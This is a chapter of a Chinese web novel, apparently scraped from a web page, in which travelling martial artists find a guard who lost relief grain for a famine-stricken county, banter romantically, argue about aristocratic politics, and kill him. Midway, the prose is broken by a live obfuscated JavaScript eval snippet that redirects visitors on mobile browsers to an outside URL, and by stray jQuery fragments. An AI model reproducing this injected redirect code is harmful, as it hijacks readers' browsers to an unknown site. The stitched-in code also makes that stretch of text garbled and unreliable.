116. 赈灾粮

作品:《救命,有狗

    “咕,咕。”


    信鸽落到褚爻伸出来的手上,正想低头和她贴贴,被一把攥住,抛向身后。


    “咕——咕!”


    信鸽撞进江旻掌心,狠狠跺了两下爪子,一只翅膀背在身后,另一只则气愤地指着褚爻。


    “她有了新欢,就不要你了。”


    江旻拍了拍信鸽脑袋,取出信件。


    柏衢见此,转过头去。


    马车被她的轮椅占去半数空间,褚爻嫌挤,陪季知禅赶车去了。


    信鸽似乎听懂了江旻的话,狠狠跺了几下爪子。


    “咕咕咕!!”


    “叽里咕噜叫什么呢?”


    褚爻屈着条腿坐在车辕上,手指勾着缕季知禅的头发,卷起又松开。


    视线上移,是用竹簪半挽的发髻。


    忽然,这缕头发绷紧了。


    季知禅吃痛,马车的速度慢了下来。


    “出来。”褚爻看向树后。


    季知禅勒马,跟着开始警惕。


    褚爻语气变重:“出来,我看见你了。”


    树后人影颤动一瞬,往相反的方向挪去,竟是想逃。


    一道绿光飞出,沿着那人鬓角擦过,吓得他往前跌倒,怀里抱着的刀也摔了出去。


    季知禅觉得头顶凉凉的,伸手一摸,发现竹簪没了。长发披散着,一时怔住了。


    褚爻揉了揉他的脑袋,“以后再赔你一支。”


    从季知禅头上消失的竹簪出现在摔倒的人面前,斜插进土里,又将他吓得连滚带爬扑到马车前。


    “不、不、不要杀我……”


    “什么人?”


    “我、我是翟氏的护卫……”


    “哪个翟氏?”


    “湘源翟氏。我的刀……刀呢……刀鞘上有翟氏的族徽!我真的是翟氏之人!”


    季知禅捡起护卫掉落的刀,翻过有图案的那一面,递给褚爻。


    “哦,那你为何在此?”


    “我、我……本来我是在护送赈灾粮去泉县的路上,途中遇到一伙盗匪……赈灾粮没了,我不敢回主家……”


    他衣衫褴褛,眉眼间尽是连日奔波的疲惫,说起话来,也是有气无力的。


    “翟氏仁厚,你若回去,他们还会杀了你不成?”


    “那、那可是赈灾粮啊……”


    “泉县受了什么灾,情况如何?”江旻挑起车帘,打断了护卫的话。


    护卫悄悄抬起头,从缝隙中看到一顶幂篱,面纱垂下,只能看到一点隐约的轮廓。


    “旱灾、饥荒……我老家就是泉县的,回去也没有粮食吃,还会遇上大批流民……我已经两日没有进食了……求公子救救我吧!”


    他膝行挪向车窗外,哭喊着朝江旻磕头。


    “退后。”褚爻用剑鞘架住护卫,迫使他远离马车。


    护卫显然认定江旻是心慈好善之辈,拼命扑向车厢,扒住车窗,冲里面喊:“公子、公子救救我吧!滚开!你家主人都没发话,你一个侍卫凭什么赶我走?”


    褚爻呆住,连人都忘记拦了,难以置信地指着自己,“我是侍卫?”


    季知禅抬了抬缰绳,“我是车夫。”


    “乱接什么话?”褚爻揪着他的衣襟往后拽,上前一步,双腿分开跪立在他身体两侧,捏住他左右两边的脸颊。


    “唔……唔……”季知禅脚不沾地,两手撑住木板望着褚爻,一脸不知悔改的模样。


    褚爻轻飘飘扫他一眼,幽幽道:“身为江氏的侍卫和车夫,婚事是要由主家决定的。你说……他会同意吗?”


    “呵。”车厢里传出江旻的一声冷笑,放在这时候很是应景。


    季知禅张了张嘴,发现杀人就能解决问题的方法好像在这里行不通了。


    “私奔,我们。”


    “这是犯法的。”


    “律法,改掉。”季知禅眉眼舒展,“刚才那条,也改。”


    褚爻笑了笑,“皇帝才能修改律法啊。”


    季知禅皱起眉头,有些纠结,过了一会,他说:“我当。”


    褚爻蓦地抬头,面无表情地捂住他的嘴。


    季知禅往褚爻掌心缩了缩,眼神无辜,带着泪光,就这样狗狗地看着她。


    “装可爱也没用。”褚爻神色自若,却管不住总往下瞟的目光。


    季知禅继续拱她,没有技巧,全是讨好。


    “不过……”


    褚爻快速瞥了一眼四周,跪坐下来,贴着他的脸颊轻轻蹭了蹭。


    “怎么这么可爱啊。”


    柏衢拽住护卫伸进车中的手拧断,不顾他的惨叫声,再推出一掌,回头看向江旻的眼神带着些同情。


    “他们一直都这样吗?”


    江旻面无表情地望着她,“以前不是。”


    “那还好,不然你……”


    “以前可宝贝她的乖狗狗了,又夸又哄,现在没事就喜欢逗逗狗,你看啊,再过段时间,就会对着他喊‘汪汪汪,小笨狗’了。”


    “呃……”柏衢努力斟酌用词后,说出的话更是石破天惊:“你想当皇帝吗?”


    “这是可以说的吗?”


    “不,但你可以把虐待单身人士这一条加入刑法。”


    江旻露出一个大大的笑容,“不必,有你陪着我,我心里好受多了。”


    柏衢默默放下手中车门的帷幔,收回视线。


    翟氏护卫虚弱地举手:“你们……是不是把什么忘记了……”


    “哦,没忘。”江旻悠悠道:“不过,给了你粮食,那些等着赈灾粮救命的百姓怎么办?”


    “公子、公子!您是士族出身,您照样可以拨款赈灾的!求公子救救泉县的百姓!”


    褚爻这才想起还有个人,从季知禅身上下来。烛照出鞘,剑锋搭在护卫颈上。


    “朝廷难道不管他们?”


    话音落,她顿了一下,撩开车帘,看向一直对此事漠不关心的柏衢。


    “朝廷赈灾了吗?”


    “没有。你好像……”柏衢走下马车,踉跄一下——她被季知禅绊了一跤。


    褚爻眉头一挑,不禁失笑,伸手扶了柏衢一下。


    “一点也不惊讶。”柏衢面无表情地把话说完。


    “意料之中的事。朝廷想逼迫士族去赈灾;士族要么阴奉阳违,要么把粮食卖出天价。两边都想着如何拿捏对方,总之,没人管底下的百姓如何。”


    翟氏护卫举起完好的那只手,想推开长剑,又不敢敢触,只能颤颤巍巍地悬停在剑锋之上。


    “是、是……求你们行行好,救救底下的百姓吧!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005047|152219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    褚爻没理会他,“柏氏呢?”


    “如果你是问粮米的话,柏氏给了。”


    “那我要是问赈灾呢?”


    “没有。其实,赈灾和不赈灾,都不是柏氏选的。”


    褚爻微微皱眉,目光沉沉看着她。


    “我想想……”柏衢思索片刻,“上一次,建州有个县闹瘟疫,朝廷派去赈灾的,是现在的州牧。当地的灾民大抵希望这个人是景阳王,可惜,那时的景阳还不是明彧的封地。”


    褚爻张了张口,柏衢好像就知道她要问什么,在车辕上坐下,神色冷淡地说:“一个小县的饥荒,不值一提。”


    褚爻讽刺地笑了笑,“反正,仁德也展示过了,成与不成,柏氏在天子和百姓心里,都是利好的。”


    柏衢也冲她笑,只是这笑意截然不同。


    “什、什么意思,赈灾粮……赈灾粮没有送到……”


    褚爻将剑锋往下压了压,翟氏护卫狠狠咽了口唾沫,不敢再开口。


    “但最近的天灾这么频繁,你不觉得奇怪吗?再这样下去,很快就会打仗了。”


    柏衢仍静静坐着,神色不为所动,“历史上也有过天灾频发的时期。士族在战乱中一般有两种选择,成王败寇,或是隐居山林。”


    褚爻无话可说了。


    “粮食,我出。”季知禅突然说。


    柏衢淡淡道:“你送不到的。”


    “谁敢拦,杀。”


    “你不可能将他们全部杀光。”


    “可以。”


    柏衢叹了口气,转向褚爻,“你我站在相同的位置上,我的选择也会是你的选择。”


    “是么?”褚爻手上的力道松了些,拇指缓缓在剑柄上摩挲。


    柏衢上前一步,将手掌放在褚爻握剑的手上,眼神锐利,如同手中悬颈的剑。


    “为了星阁,你会怎么选?”


    褚爻眼神微怒,握紧了手中的剑。


    翟氏护卫惊讶地看向褚爻,下一刻,鲜血飞溅——褚爻杀了他。


    柏衢静静注视着她,脸上没有得逞的笑意。


    “你杀了他。”


    褚爻抖了抖剑上的血,“不影响我找回失盗的赈灾粮。”


    “既要又要可没什么好结果。”柏衢摇了摇头,“你不去参加试剑大会了吗?外面可都在传,星阁欲借这一次的大会,重出江湖呢。”


    这时,江旻掀开车帘,放飞了信鸽。


    “试剑大会的规则改了。凡同宗弟子,有一人晋级,后来者同样视为晋级。”


    褚爻盯着飞走的信鸽,“你回信了吗?”


    江旻顿了一下,神情木然地说:“没有。”


    他们手里的信鸽早就被送往了星阁,如今还没有回信。


    “算了,让他们有点压力也好,早就是该独当一面的年纪了。”褚爻笑了笑,擦干剑上的血迹,收入鞘中,对着柏衢说:“看来赶得上试剑大会了。”


    “有很多人愿意站在你身后。”柏衢眼中的惆怅一闪而逝,声音轻得好似叹息,只有褚爻听清了。


    她很快收敛神色,不太看好地说:“不过,凭你们三个人就想把赈灾粮抢回来?”


    褚爻箍住她的脖子,“是四个。”


    柏衢:“……”


    完全反抗不了呢。